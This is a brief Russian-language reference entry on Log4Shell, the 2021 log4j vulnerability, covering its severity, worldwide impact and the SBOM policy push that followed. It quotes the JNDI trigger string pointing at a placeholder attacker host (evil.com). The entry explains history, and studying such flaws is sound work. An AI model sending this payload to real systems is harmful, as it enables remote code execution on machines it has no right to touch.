Log4Shell
Катастрофическая уязвимость в Java-библиотеке логирования log4j (декабрь 2021): чтобы выполнить произвольный код, хватало записать в лог одну строку.
Триггер: ${jndi:ldap://evil.com/x}. Log4j установлен в миллиардах Java-систем по всему миру. CVSS 10.0. Недели паники и срочного патчинга. Стал символом рисков цепочки поставок в open source и подтолкнул инициативы ЕС и США по SBOM и отчётности о безопасности.